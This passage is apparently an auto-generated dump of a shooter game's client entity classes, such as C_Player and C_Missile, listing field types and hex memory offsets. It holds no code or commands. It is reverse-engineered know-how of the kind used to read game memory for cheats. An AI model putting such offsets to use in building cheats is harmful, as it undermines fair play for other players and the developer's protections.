+C_EnvWindShared!0x002c m_flGustDuration +C_EnvWindShared!0x0030 m_iGustDirChange +C_EnvWindShared!0x0034 m_location +C_EnvWindShared!0x0040 m_iszGustSound +C_EnvWindShared!0x0044 m_iWindDir +C_EnvWindShared!0x0048 m_flWindSpeed +C_EnvWindShared!0x004c m_currentWindVector +C_EnvWindShared!0x0058 m_CurrentSwayVector +C_EnvWindShared!0x0064 m_PrevSwayVector +C_EnvWindShared!0x0070 m_iInitialWindDir +C_EnvWindShared!0x0074 m_flInitialWindSpeed +C_EnvWindShared!0x0078 m_flVariationTime +C_EnvWindShared!0x007c m_flSimTime +C_EnvWindShared!0x0080 m_flSwitchTime +C_EnvWindShared!0x0084 m_flAveWindSpeed +C_EnvWindShared!0x0088 m_bGusting +C_EnvWindShared!0x008c m_flWindAngleVariation +C_EnvWindShared!0x0090 m_flWindSpeedVariation +C_EnvWindShared!0x0094 m_iEntIndex +C_EnvWindShared!0x0098 m_Stream +C_EnvWindShared!0x00d0 m_WindVariationStream +C_EnvWindShared!0x0108 m_WindAveQueue +C_EnvWindShared!0x0140 m_WindVariationQueue +``` +
+
+class C_ExposureController extends C_BaseEntity + +``` +{ + m_autoCompensation: Float, + m_autoForceValue: Float, + m_autoMin: Float, + m_autoMax: Float, + m_autoSpeed: Float, + m_minFadeTime: Float, + m_isDirectional: Bool, + m_directionalHalfAngle: Float, +} +``` + +### Offsets + +``` +C_ExposureController!0x0a40 m_autoCompensation +C_ExposureController!0x0a44 m_autoForceValue +C_ExposureController!0x0a48 m_autoMin +C_ExposureController!0x0a4c m_autoMax +C_ExposureController!0x0a50 m_autoSpeed +C_ExposureController!0x0a54 m_minFadeTime +C_ExposureController!0x0a58 m_isDirectional +C_ExposureController!0x0a5c m_directionalHalfAngle +``` +
+
+class C_ExposureVolume extends C_BaseEntity + +``` +{ + m_volumeTester: Outer, + m_exposureTarget: ClassPtr, + m_exposureTargetName: String, + m_exposurePriority: Float, +} +``` + +### Offsets + +``` +C_ExposureVolume!0x0a40 m_volumeTester +C_ExposureVolume!0x0a48 m_exposureTarget +C_ExposureVolume!0x0a50 m_exposureTargetName +C_ExposureVolume!0x0a58 m_exposurePriority +``` +
+
+class C_FogController extends C_BaseEntity + +``` +{ + m_fogParams: fogplayerparamsstate_t, + m_fogAngles: Vector, + m_useAbsAngles: Bool, +} +``` + +### Offsets + +``` +C_FogController!0x0a40 m_fogParams +C_FogController!0x0aa8 m_fogAngles +C_FogController!0x0ab4 m_useAbsAngles +``` +
+
+class C_FogVolume extends C_BaseEntity + +``` +{ + m_volumeTester: Outer, + m_fogTarget: ClassPtr, + m_fogTargetName: String, + m_fogPriority: Int, +} +``` + +### Offsets + +``` +C_FogVolume!0x0a40 m_volumeTester +C_FogVolume!0x0a48 m_fogTarget +C_FogVolume!0x0a50 m_fogTargetName +C_FogVolume!0x0a58 m_fogPriority +``` +
+
+class C_GlobalNonRewinding extends C_BaseEntity + +``` +{ + m_playerObserver: C_ObserverMode, + m_playerMiscData: C_NonRewindMiscData, +} +``` + +### Offsets + +``` +C_GlobalNonRewinding!0x0a40 m_playerObserver +C_GlobalNonRewinding!0x0e40 m_playerMiscData +``` +
+
+class C_KnockBack + +``` +{ + velocity: Vector, + beginTime: Time, + endTime: Time, +} +``` + +### Offsets + +``` +C_KnockBack!0x0008 velocity +C_KnockBack!0x0014 beginTime +C_KnockBack!0x0018 endTime +``` +
+
+class C_Missile extends C_Projectile + +``` +{ + m_hasPlayedWhizby: Bool, + m_whizByStart: Vector, + m_whizBySoundName: Char, + m_homingSpeed: Float, + m_homingSpeedDodgingPlayer: Float, + m_launchDir: Vector, + m_hSpecificTarget: EHANDLE, + m_targetOffset: Vector, + m_targetPosition: Vector, + m_useTargetPosition: Bool, + m_postIgnitionSpeed: Float, + m_flGracePeriodEndsAt: Time, + m_pathSettingsInitialized: Bool, + m_expandContractMissile: Bool, + m_spiralMissile: Bool, + m_spiralSettings: Void, + m_expandContractSettings: MissilePathExpandContractSettings_Client, + m_lastThinkTime: Time, + m_explosionIgnoreEntity: EHANDLE, +} +``` + +### Offsets + +``` +C_Missile!0x2c80 m_hasPlayedWhizby +C_Missile!0x2c84 m_whizByStart +C_Missile!0x2c90 m_whizBySoundName +C_Missile!0x2cd0 m_homingSpeed +C_Missile!0x2cd4 m_homingSpeedDodgingPlayer +C_Missile!0x2cd8 m_launchDir +C_Missile!0x2ce4 m_hSpecificTarget +C_Missile!0x2ce8 m_targetOffset +C_Missile!0x2cf4 m_targetPosition +C_Missile!0x2d00 m_useTargetPosition +C_Missile!0x2d04 m_postIgnitionSpeed +C_Missile!0x2d08 m_flGracePeriodEndsAt +C_Missile!0x2d0c m_pathSettingsInitialized +C_Missile!0x2d0d m_expandContractMissile +C_Missile!0x2d0e m_spiralMissile +C_Missile!0x2d48 m_spiralSettings +C_Missile!0x2d78 m_expandContractSettings +C_Missile!0x2dd0 m_lastThinkTime +C_Missile!0x2dd4 m_explosionIgnoreEntity +``` +
+
+class C_NPC_SentryTurret extends C_BaseEntity + +``` +{ + m_killCount: Int, + m_titanKillCount: Int, +} +``` + +### Offsets + +``` +C_NPC_SentryTurret!0x1d44 m_killCount +C_NPC_SentryTurret!0x1d48 m_titanKillCount +``` +
+
+class C_NonRewindMiscData + +``` +{ + m_nextRespawnTime: Float, + m_musicPackAssigned: Int, +} +``` + +### Offsets + +``` +C_NonRewindMiscData!0x0000 m_nextRespawnTime +C_NonRewindMiscData!0x0004 m_musicPackAssigned +``` +
+
+class C_ObserverMode + +``` +{ + m_observerMode: Int, + m_observerTarget: EHANDLE, +} +``` + +### Offsets + +``` +C_ObserverMode!0x0000 m_observerMode +C_ObserverMode!0x0004 m_observerTarget +``` +
+
+class C_ParticleSystem extends C_BaseEntity + +``` +{ + m_bClientSide: Bool, + m_bActive: Bool, + m_warmUpTime: Float, + m_pauseAfterWarmup: Bool, + m_bInSkybox: Bool, + m_killForReplay: Bool, + m_killIfOverLimit: Bool, +} +``` + +### Offsets + +``` +C_ParticleSystem!0x0a48 m_bClientSide +C_ParticleSystem!0x0a49 m_bActive +C_ParticleSystem!0x0a50 m_warmUpTime +C_ParticleSystem!0x0a54 m_pauseAfterWarmup +C_ParticleSystem!0x0a55 m_bInSkybox +C_ParticleSystem!0x0a56 m_killForReplay +C_ParticleSystem!0x0a57 m_killIfOverLimit +``` +
+
+class C_Player extends C_BaseCombatCharacter + +``` +{ + m_fFlags: Int, + m_currentFrame.animCycle: Float, + m_pMoveParent: EHANDLE, + m_vecAbsVelocity: Vector, + m_hGroundEntity: EHANDLE, + m_flMaxspeed: Int, + m_jumpPadDebounceExpireTime: Time, + m_vecVelocity: Vector, + m_flFriction: Float, + m_nNextThinkTick: Int, + m_SequenceTransitioner: C_SequenceTransitioner, + m_currentFrameBaseAnimating.animStartTime: Float, + m_currentFrameBaseAnimating.animStartCycle: Float, + m_currentFrameBaseAnimating.animSequence: Int, + m_currentFrameBaseAnimating.animSequenceParity: Int, + m_currentFrameBaseAnimating.m_flPoseParameters: Float, + m_bZooming: Bool, + m_zoomToggleOnStartTime: Time, + m_zoomBaseFrac: Float, + m_zoomBaseTime: Time, + m_zoomFullStartTime: Time, + m_lastUCmdSimulationTicks: Int, + m_lastUCmdSimulationRemainderTime: Float, + m_Local: C_PlayerLocalData, + m_currentFramePlayer.timeBase: Float, + m_currentFramePlayer.statusEffectsTimedPlayerCUR: StatusEffectTimedData, + m_currentFramePlayer.statusEffectsEndlessPlayerCUR: StatusEffectEndlessData, + m_currentFramePlayer.m_flHullHeight: Float, + m_currentFramePlayer.m_traversalAnimProgress: Float, + m_currentFramePlayer.m_sprintTiltFrac: Float, + m_currentFramePlayer.m_ammoPoolCount: Int, + m_currentFrameLocalPlayer.m_stepSmoothingOffset: Vector, + m_currentFrameLocalPlayer.m_duckTransitionRemainderMsec: Int, + m_currentFrameLocalPlayer.m_vecPunchBase_Angle: Vector, + m_currentFrameLocalPlayer.m_vecPunchBase_AngleVel: Vector, + m_currentFrameLocalPlayer.m_vecPunchWeapon_Angle: Vector, + m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.x: Float, + m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.y: Float, + m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.z: Float, + m_currentFrameLocalPlayer.m_localGravityRotation: Quaternion, + pl: CPlayerState, + m_ammoPoolCapacity: Int, + m_classModsActive: 29, + m_gestureSequences: Int, + m_gestureStartTimes: Time, + m_gestureBlendInDuration: Float, + m_gestureBlendOutDuration: Float, + m_gestureFadeOutStartTime: Time, + m_gestureFadeOutDuration: Float, + m_gestureAutoKillBitfield: Int, + m_afButtonLast: Int, + m_afButtonPressed: Int, + m_afButtonReleased: Int, + m_nButtons: Int, + m_nImpulse: Int, + m_flPhysics: Int, + m_flStepSoundTime: Float, + m_flTimeAllSuitDevicesOff: Float, + m_fStickySprintMinTime: Float, + m_bPlayedSprintStartEffects: Bool, + m_fIsSprinting: Bool, + m_fIsWalking: Bool, + m_lastSprintPressTime: Time, + m_stickySprintForwardEnableTime: Time, + m_stickySprintForwardDisableTime: Time, + m_sprintStartedTime: Time, + m_sprintStartedFrac: Float, + m_sprintEndedTime: Time, + m_sprintEndedFrac: Float, + m_stickySprintStartTime: Time, + m_damageImpulseNoDecelEndTime: Time, + m_duckState: Int, + m_leanState: Int, + m_doingHalfDuck: Bool, + m_canStand: Bool, + m_StandHullMin: Vector, + m_StandHullMax: Vector, + m_DuckHullMin: Vector, + m_DuckHullMax: Vector, + m_upDir: Vector, + m_upDirPredicted: Vector, + m_lastWallRunStartPos: Vector, + m_wallRunCount: Int, + m_wallRunWeak: Bool, + m_shouldBeOneHanded: Bool, + m_oneHandFraction: Float, + m_animAimPitch: Float, + m_animAimYaw: Float, + m_wallRunPushAwayTime: Float, + m_wallrunRetryTime: Time, + m_wallrunRetryPos: Vector, + m_wallrunRetryNormal: Vector, + m_wallHangTime: Float, + m_traversalState: Int, + m_traversalType: Int, + m_traversalBegin: Vector, + m_traversalMid: Vector, + m_traversalEnd: Vector, + m_traversalMidFrac: Float, + m_traversalForwardDir: Vector, + m_traversalRefPos: Vector, + m_traversalProgress: Float, + m_traversalStartTime: Time, + m_traversalHandAppearTime: Time, + m_traversalReleaseTime: Time, + m_traversalBlendOutStartTime: Time, + m_traversalBlendOutStartOffset: Vector, + m_traversalYawDelta: Float, + m_wallDangleJumpOffTime: Time, + m_wallDangleMayHangHere: Bool, + m_wallDangleForceFallOff: Bool, + m_wallDangleLastPushedForward: Bool, + m_wallDangleDisableWeapon: Int, + m_wallDangleClimbProgressFloor: Float, + m_wallClimbSetUp: Bool, + m_wallHanging: Bool, + m_gravityLiftActive: Bool, + m_gravityLiftEnterTime: Float, + m_gravityLiftLastOrigin: Vector, + m_gravityLiftEjectVelocity: Vector, + m_blackholeActive: Bool, + m_grapple: GrappleData, + m_grapple: GrappleData, + m_grappleActive: Bool, + m_grappleActive: Bool, + m_grappleNeedWindowCheck: Bool, + m_grappleNextWindowHint: EHANDLE, + m_slowMoEnabled: Bool, + m_sliding: Bool, + m_slideLongJumpAllowed: Bool, + m_lastSlideTime: Time, + m_lastSlideBoost: Float, + m_gravityGrenadeStatusEffect: Int, + m_bIsStickySprinting: Bool, + m_prevMoveYaw: Float, + m_sprintTiltVel: Float, + m_turret: EHANDLE, + m_hViewModels: EHANDLE, + m_viewOffsetEntity: Player_ViewOffsetEntityData, + m_activeZipline: EHANDLE, + m_lastZipline: EHANDLE, + m_lastZiplineDetachTime: Time, + m_ziplineValid3pWeaponLayerAnim: Bool, + m_ziplineState: Int, + m_zipline: PlayerZiplineData_Client, + m_ziplineViewOffsetPosition: Vector, + m_ziplineViewOffsetVelocity: Vector, + m_ziplineGrenadeEntity: EHANDLE, + m_ziplineGrenadeBeginStationEntity: EHANDLE, + m_ziplineGrenadeBeginStationAttachmentIndex: Int, + m_sameZiplineCooldownTime: Float, + m_playAnimationType: Int, + m_detachGrappleOnPlayAnimationEnd: Bool, + m_playAnimationNext: Int, + m_boosting: Bool, + m_activateBoost: Bool, + m_repeatedBoost: Bool, + m_boostMeter: Float, + m_jetpack: Bool, + m_activateJetpack: Bool, + m_jetpackAfterburner: Bool, + m_gliding: Bool, + m_glideMeter: Float, + m_glideRechargeDelayAccumulator: Float, + m_hovering: Bool, + m_isPerformingBoostAction: Bool, + m_lastJumpHeight: Float, + m_touchingUpdraftTriggers: EHANDLE, + m_touchingUpdraftTriggersCount: Int, + m_touchingSlipTriggers: EHANDLE, + m_touchingSlipTriggersCount: Int, + m_slipAirRestrictDirection: Vector, + m_slipAirRestrictTime: Time, + m_melee: PlayerMelee_PlayerData, + m_useCredit: Bool, + m_wallRunStartTime: Time, + m_wallRunClearTime: Time, + m_onSlopeTime: Float, + m_lastWallNormal: Vector, + m_dodging: Bool, + m_lastDodgeTime: Time, + m_vecPreviouslyPredictedOrigin: Vector, + m_flTimeLastTouchedWall: Float, + m_timeJetpackHeightActivateCheckPassed: Time, + m_flTimeLastTouchedGround: Float, + m_flTimeLastJumped: Float, + m_flTimeLastLanded: Float, + m_flLastLandFromHeight: Float, + m_usePressedTime: Float, + m_lastUseTime: Float, + m_lastFakeFloorPos: Vector, + m_bHasJumpedSinceTouchedGround: Bool, + m_bDoMultiJumpPenalty: Bool, + m_dodgingInAir: Bool, + m_activeViewmodelModifiers: Bool, + m_lastMoveInputTime: Time, + m_ignoreEntityForMovementUntilNotTouching: EHANDLE, + m_gameMovementUtil.m_surfaceFriction: Float, + m_lungeTargetEntity: EHANDLE, + m_isLungingToPosition: Bool, + m_lungeTargetPosition: Vector, + m_lungeStartPositionOffset: Vector, + m_lungeEndPositionOffset: Vector, + m_lungeStartTime: Time, + m_lungeEndTime: Time, + m_lungeCanFly: Bool, + m_lungeLockPitch: Bool, + m_lungeStartPitch: Float, + m_lungeSmoothTime: Float, + m_lungeMaxTime: Float, + m_lungeMaxEndSpeed: Float, + m_vPrevGroundNormal: Vector, + m_pushAwayFromTopAcceleration: Vector, + m_controllerModeActive: Bool, + m_skydiveForwardPoseValueVelocity: Float, + m_skydiveForwardPoseValueTarget: Float, + m_skydiveForwardPoseValueCurrent: Float, + m_skydiveSidePoseValueVelocity: Float, + m_skydiveSidePoseValueTarget: Float, + m_skydiveSidePoseValueCurrent: Float, + m_skydiveYawVelocity: Float, + m_skydiveIsNearLeviathan: Bool, + m_skydiveState: Int, + m_skydiveStartTime: Time, + m_skydiveEndTime: Time, + m_skydiveAnticipateStartTime: Time, + m_skydiveAnticipateEndTime: Time, + m_skydiveDistanceToLand: Float, + m_skydiveDiveAngle: Float, + m_skydiveIsDiving: Bool, + m_skydiveSpeed: Float, + m_skydiveStrafeAngle: Float, + m_skydiveFreelookEnabled: Bool, + m_skydiveFreelookLockedAngle: Vector, + m_skydivePlayerPitch: Float, + m_skydivePlayerYaw: Float, + m_skydiveFollowing: Bool, + m_skydiveUnfollowVelocity: Vector, + m_skydiveLeviathanHitPosition: Vector, + m_skydiveLeviathanHitNormal: Vector, + m_skydiveSlipVelocity: Vector, + m_playerKnockBacks: C_KnockBack, + m_updraftCount: Int, + m_updraftStage: Int, + m_updraftEnterTime: Time, + m_updraftLeaveTime: Time, + m_updraftMinShakeActivationHeight: Float, + m_updraftMaxShakeActivationHeight: Float, + m_updraftLiftActivationHeight: Float, + m_updraftLiftSpeed: Float, + m_updraftLiftAcceleration: Float, + m_updraftLiftExitDuration: Float, + m_updraftSlowTime: Time, +} +``` + +### Offsets + +``` +C_Player!0x0098 m_fFlags +C_Player!0x00c4 m_currentFrame.animCycle +C_Player!0x0118 m_pMoveParent +C_Player!0x0140 m_vecAbsVelocity +C_Player!0x041c m_hGroundEntity +C_Player!0x0424 m_flMaxspeed +C_Player!0x0448 m_jumpPadDebounceExpireTime +C_Player!0x0464 m_vecVelocity +C_Player!0x047c m_flFriction +C_Player!0x0554 m_nNextThinkTick +C_Player!0x0c00 m_SequenceTransitioner +C_Player!0x0f4c m_currentFrameBaseAnimating.animStartTime +C_Player!0x0f50 m_currentFrameBaseAnimating.animStartCycle +C_Player!0x0f60 m_currentFrameBaseAnimating.animSequence +C_Player!0x0f64 m_currentFrameBaseAnimating.animSequenceParity +C_Player!0x0f68 m_currentFrameBaseAnimating.m_flPoseParameters +C_Player!0x1b81 m_bZooming +C_Player!0x1b84 m_zoomToggleOnStartTime +C_Player!0x1b88 m_zoomBaseFrac +C_Player!0x1b8c m_zoomBaseTime +C_Player!0x1b90 m_zoomFullStartTime +C_Player!0x1c14 m_lastUCmdSimulationTicks +C_Player!0x1c18 m_lastUCmdSimulationRemainderTime +C_Player!0x1d38 m_Local +C_Player!0x2020 m_currentFramePlayer.timeBase +C_Player!0x2028 m_currentFramePlayer.statusEffectsTimedPlayerCUR +C_Player!0x2118 m_currentFramePlayer.statusEffectsEndlessPlayerCUR +C_Player!0x21b8 m_currentFramePlayer.m_flHullHeight +C_Player!0x21bc m_currentFramePlayer.m_traversalAnimProgress +C_Player!0x21c0 m_currentFramePlayer.m_sprintTiltFrac +C_Player!0x21d0 m_currentFramePlayer.m_ammoPoolCount +C_Player!0x23a0 m_currentFrameLocalPlayer.m_stepSmoothingOffset +C_Player!0x23ac m_currentFrameLocalPlayer.m_duckTransitionRemainderMsec +C_Player!0x23b0 m_currentFrameLocalPlayer.m_vecPunchBase_Angle +C_Player!0x23bc m_currentFrameLocalPlayer.m_vecPunchBase_AngleVel +C_Player!0x23c8 m_currentFrameLocalPlayer.m_vecPunchWeapon_Angle +C_Player!0x23d4 m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.x +C_Player!0x23d8 m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.y +C_Player!0x23dc m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.z +C_Player!0x2410 m_currentFrameLocalPlayer.m_localGravityRotation +C_Player!0x2430 pl +C_Player!0x24b4 m_ammoPoolCapacity +C_Player!0x2508 m_classModsActive +C_Player!0x27dc m_gestureSequences +C_Player!0x27fc m_gestureStartTimes +C_Player!0x281c m_gestureBlendInDuration +C_Player!0x283c m_gestureBlendOutDuration +C_Player!0x285c m_gestureFadeOutStartTime +C_Player!0x287c m_gestureFadeOutDuration +C_Player!0x289c m_gestureAutoKillBitfield +C_Player!0x28b8 m_afButtonLast +C_Player!0x28bc m_afButtonPressed +C_Player!0x28c0 m_afButtonReleased +C_Player!0x28c4 m_nButtons +C_Player!0x28c8 m_nImpulse +C_Player!0x28cc m_flPhysics +C_Player!0x28d0 m_flStepSoundTime +C_Player!0x28d4 m_flTimeAllSuitDevicesOff +C_Player!0x28d8 m_fStickySprintMinTime +C_Player!0x28dc m_bPlayedSprintStartEffects +C_Player!0x28e4 m_fIsSprinting +C_Player!0x28e5 m_fIsWalking +C_Player!0x28e8 m_lastSprintPressTime +C_Player!0x28ec m_stickySprintForwardEnableTime +C_Player!0x28f0 m_stickySprintForwardDisableTime +C_Player!0x28f4 m_sprintStartedTime +C_Player!0x28f8 m_sprintStartedFrac +C_Player!0x28fc m_sprintEndedTime +C_Player!0x2900 m_sprintEndedFrac +C_Player!0x2904 m_stickySprintStartTime +C_Player!0x2908 m_damageImpulseNoDecelEndTime +C_Player!0x2928 m_duckState +C_Player!0x292c m_leanState +C_Player!0x2930 m_doingHalfDuck +C_Player!0x2931 m_canStand +C_Player!0x2934 m_StandHullMin +C_Player!0x2940 m_StandHullMax +C_Player!0x294c m_DuckHullMin +C_Player!0x2958 m_DuckHullMax +C_Player!0x2968 m_upDir +C_Player!0x2974 m_upDirPredicted +C_Player!0x2980 m_lastWallRunStartPos +C_Player!0x298c m_wallRunCount +C_Player!0x2990 m_wallRunWeak +C_Player!0x2991 m_shouldBeOneHanded +C_Player!0x2994 m_oneHandFraction +C_Player!0x2998 m_animAimPitch +C_Player!0x299c m_animAimYaw +C_Player!0x29a0 m_wallRunPushAwayTime +C_Player!0x29ac m_wallrunRetryTime +C_Player!0x29b0 m_wallrunRetryPos +C_Player!0x29bc m_wallrunRetryNormal +C_Player!0x29e0 m_wallHangTime +C_Player!0x29e4 m_traversalState +C_Player!0x29e8 m_traversalType +C_Player!0x29ec m_traversalBegin +C_Player!0x29f8 m_traversalMid +C_Player!0x2a04 m_traversalEnd +C_Player!0x2a10 m_traversalMidFrac +C_Player!0x2a14 m_traversalForwardDir +C_Player!0x2a20 m_traversalRefPos +C_Player!0x2a2c m_traversalProgress +C_Player!0x2a30 m_traversalStartTime +C_Player!0x2a34 m_traversalHandAppearTime +C_Player!0x2a38 m_traversalReleaseTime +C_Player!0x2a3c m_traversalBlendOutStartTime +C_Player!0x2a40 m_traversalBlendOutStartOffset +C_Player!0x2a4c m_traversalYawDelta +C_Player!0x2a58 m_wallDangleJumpOffTime +C_Player!0x2a5c m_wallDangleMayHangHere +C_Player!0x2a5d m_wallDangleForceFallOff +C_Player!0x2a5e m_wallDangleLastPushedForward +C_Player!0x2a60 m_wallDangleDisableWeapon +C_Player!0x2a64 m_wallDangleClimbProgressFloor +C_Player!0x2a68 m_wallClimbSetUp +C_Player!0x2a69 m_wallHanging +C_Player!0x2a6a m_gravityLiftActive +C_Player!0x2a6c m_gravityLiftEnterTime +C_Player!0x2a70 m_gravityLiftLastOrigin +C_Player!0x2a7c m_gravityLiftEjectVelocity +C_Player!0x2a88 m_blackholeActive +C_Player!0x2a90 m_grapple +C_Player!0x2a90 m_grapple +C_Player!0x2b20 m_grappleActive +C_Player!0x2b20 m_grappleActive +C_Player!0x2b21 m_grappleNeedWindowCheck +C_Player!0x2b24 m_grappleNextWindowHint +C_Player!0x2b34 m_slowMoEnabled +C_Player!0x2b35 m_sliding +C_Player!0x2b36 m_slideLongJumpAllowed +C_Player!0x2b38 m_lastSlideTime +C_Player!0x2b3c m_lastSlideBoost +C_Player!0x2b40 m_gravityGrenadeStatusEffect +C_Player!0x2b44 m_bIsStickySprinting +C_Player!0x2b48 m_prevMoveYaw +C_Player!0x2b4c m_sprintTiltVel +C_Player!0x2b68 m_turret +C_Player!0x2b6c m_hViewModels +C_Player!0x2b80 m_viewOffsetEntity +C_Player!0x2cc0 m_activeZipline +C_Player!0x2cc4 m_lastZipline +C_Player!0x2cc8 m_lastZiplineDetachTime +C_Player!0x2ccc m_ziplineValid3pWeaponLayerAnim +C_Player!0x2cd0 m_ziplineState +C_Player!0x2cd8 m_zipline +C_Player!0x2d48 m_ziplineViewOffsetPosition +C_Player!0x2d54 m_ziplineViewOffsetVelocity +C_Player!0x2d60 m_ziplineGrenadeEntity +C_Player!0x2d64 m_ziplineGrenadeBeginStationEntity +C_Player!0x2d68 m_ziplineGrenadeBeginStationAttachmentIndex +C_Player!0x2d70 m_sameZiplineCooldownTime +C_Player!0x2d78 m_playAnimationType +C_Player!0x2d7c m_detachGrappleOnPlayAnimationEnd +C_Player!0x2d80 m_playAnimationNext +C_Player!0x2d94 m_boosting +C_Player!0x2d95 m_activateBoost +C_Player!0x2d96 m_repeatedBoost +C_Player!0x2d98 m_boostMeter +C_Player!0x2d9c m_jetpack +C_Player!0x2d9d m_activateJetpack +C_Player!0x2d9e m_jetpackAfterburner +C_Player!0x2d9f m_gliding +C_Player!0x2da0 m_glideMeter +C_Player!0x2da4 m_glideRechargeDelayAccumulator +C_Player!0x2da8 m_hovering +C_Player!0x2da9 m_isPerformingBoostAction +C_Player!0x2dac m_lastJumpHeight +C_Player!0x2db0 m_touchingUpdraftTriggers +C_Player!0x2df0 m_touchingUpdraftTriggersCount +C_Player!0x2df4 m_touchingSlipTriggers +C_Player!0x2e34 m_touchingSlipTriggersCount +C_Player!0x2e38 m_slipAirRestrictDirection +C_Player!0x2e44 m_slipAirRestrictTime +C_Player!0x2fd8 m_melee +C_Player!0x3010 m_useCredit +C_Player!0x3394 m_wallRunStartTime +C_Player!0x3398 m_wallRunClearTime +C_Player!0x339c m_onSlopeTime +C_Player!0x33a0 m_lastWallNormal +C_Player!0x33ac m_dodging +C_Player!0x33b0 m_lastDodgeTime +C_Player!0x33b4 m_vecPreviouslyPredictedOrigin +C_Player!0x33cc m_flTimeLastTouchedWall +C_Player!0x33d0 m_timeJetpackHeightActivateCheckPassed +C_Player!0x33d4 m_flTimeLastTouchedGround +C_Player!0x33d8 m_flTimeLastJumped +C_Player!0x33dc m_flTimeLastLanded +C_Player!0x33e0 m_flLastLandFromHeight +C_Player!0x33e4 m_usePressedTime +C_Player!0x33e8 m_lastUseTime +C_Player!0x33f8 m_lastFakeFloorPos +C_Player!0x3404 m_bHasJumpedSinceTouchedGround +C_Player!0x3405 m_bDoMultiJumpPenalty +C_Player!0x3406 m_dodgingInAir +C_Player!0x35f0 m_activeViewmodelModifiers +C_Player!0x3870 m_lastMoveInputTime +C_Player!0x3874 m_ignoreEntityForMovementUntilNotTouching +C_Player!0x3d40 m_gameMovementUtil.m_surfaceFriction +C_Player!0x3dbc m_lungeTargetEntity +C_Player!0x3dc0 m_isLungingToPosition +C_Player!0x3dc4 m_lungeTargetPosition +C_Player!0x3dd0 m_lungeStartPositionOffset +C_Player!0x3ddc m_lungeEndPositionOffset +C_Player!0x3de8 m_lungeStartTime +C_Player!0x3dec m_lungeEndTime +C_Player!0x3df0 m_lungeCanFly +C_Player!0x3df1 m_lungeLockPitch +C_Player!0x3df4 m_lungeStartPitch +C_Player!0x3df8 m_lungeSmoothTime +C_Player!0x3dfc m_lungeMaxTime +C_Player!0x3e00 m_lungeMaxEndSpeed +C_Player!0x40bc m_vPrevGroundNormal +C_Player!0x427c m_pushAwayFromTopAcceleration +C_Player!0x42a8 m_controllerModeActive +C_Player!0x42c0 m_skydiveForwardPoseValueVelocity +C_Player!0x42c4 m_skydiveForwardPoseValueTarget +C_Player!0x42c8 m_skydiveForwardPoseValueCurrent +C_Player!0x42cc m_skydiveSidePoseValueVelocity +C_Player!0x42d0 m_skydiveSidePoseValueTarget +C_Player!0x42d4 m_skydiveSidePoseValueCurrent +C_Player!0x42d8 m_skydiveYawVelocity +C_Player!0x42dc m_skydiveIsNearLeviathan +C_Player!0x42f8 m_skydiveState +C_Player!0x42fc m_skydiveStartTime +C_Player!0x4300 m_skydiveEndTime +C_Player!0x4304 m_skydiveAnticipateStartTime +C_Player!0x4308 m_skydiveAnticipateEndTime +C_Player!0x430c m_skydiveDistanceToLand +C_Player!0x4310 m_skydiveDiveAngle +C_Player!0x4314 m_skydiveIsDiving +C_Player!0x4318 m_skydiveSpeed +C_Player!0x431c m_skydiveStrafeAngle +C_Player!0x4320 m_skydiveFreelookEnabled +C_Player!0x4324 m_skydiveFreelookLockedAngle +C_Player!0x4330 m_skydivePlayerPitch +C_Player!0x4334 m_skydivePlayerYaw +C_Player!0x4338 m_skydiveFollowing +C_Player!0x433c m_skydiveUnfollowVelocity +C_Player!0x434c m_skydiveLeviathanHitPosition +C_Player!0x4358 m_skydiveLeviathanHitNormal +C_Player!0x4364 m_skydiveSlipVelocity +C_Player!0x4388 m_playerKnockBacks +C_Player!0x4408 m_updraftCount +C_Player!0x440c m_updraftStage +C_Player!0x4410 m_updraftEnterTime +C_Player!0x4414 m_updraftLeaveTime +C_Player!0x4418 m_updraftMinShakeActivationHeight +C_Player!0x441c m_updraftMaxShakeActivationHeight +C_Player!0x4420 m_updraftLiftActivationHeight +C_Player!0x4424 m_updraftLiftSpeed +C_Player!0x4428 m_updraftLiftAcceleration +C_Player!0x442c m_updraftLiftExitDuration +C_Player!0x4430 m_updraftSlowTime +``` +
+
+class C_PlayerLocalData + +``` +{ + m_nStepside: Int, + m_nOldButtons: Int, + m_nOldVehicleButtons: Int, + m_iHideHUD: Int, + m_superJumpsUsed: Int, + m_jumpedOffRodeo: Bool, + m_jumpPressTime: Time, + m_jetpackActivateTime: Time, + m_jetpackDeactivateTime: Time, + m_flSuitPower: Float, + m_flSuitJumpPower: Float, + m_flSuitGrapplePower: Float, + m_flFallVelocity: Float, + m_flStepSize: Float, + m_airSlowMoFrac: Float, + predictableFlags: Int, + m_bitsActiveDevices: Int, + m_forceStance: Int, + m_duckToggleOn: Bool, + m_bDrawViewmodel: Bool, + m_bAllowAutoMovement: Bool, + m_airMoveBlockPlanes: Vector, + m_airMoveBlockPlaneTime: Time, + m_airMoveBlockPlaneCount: Int, + m_queuedMeleePressTime: Time, + m_queuedGrappleMeleeTime: Time, + m_disableMeleeUntilRelease: Bool, + m_meleePressTime: Time, + m_meleeDisabledCounter: Int, + m_meleeInputIndex: Int, + m_oneHandedWeaponUsage: Bool, + m_prevOneHandedWeaponUsage: Bool, + m_titanEmbarkEnabled: Bool, + m_titanDisembarkEnabled: Bool, + m_playerAnimStationaryGoalFeetYaw: Float, + m_playerAnimJumping: Bool, + m_playerAnimJumpStartTime: Time, + m_playerAnimFirstJumpFrame: Bool, + m_playerAnimDodging: Bool, + m_playerAnimJumpActivity: Int, + m_playerAnimLanding: Bool, + m_playerAnimShouldLand: Bool, + m_playerAnimLandStartTime: Time, + m_playerAnimInAirWalk: Bool, + m_playerAnimPrevFrameSequenceMotionYaw: Float, + m_playerAnimMeleeParity: Int, + m_playerAnimMeleeStartTime: Time, + m_playerLocalGravityToWorldTransform: Quaternion, + m_playerLocalGravityBlendStartRotation: Quaternion, + m_playerLocalGravityBlendEndRotation: Quaternion, + m_playerLocalGravityBlendEndDirection: Vector, + m_playerLocalGravityBlendStartTime: Time, + m_playerLocalGravityBlendEndTime: Time, + m_playerLocalGravityBlendStrength: Float, + m_playerLocalGravityStrength: Float, + m_playerLocalGravityType: Int, + m_playerLocalGravityPoint: Vector, + m_playerLocalGravityLineStart: Vector, + m_playerLocalGravityLineEnd: Vector, + m_playerLocalGravityEntity: EHANDLE, + m_playerLocalGravityLineStartEntity: 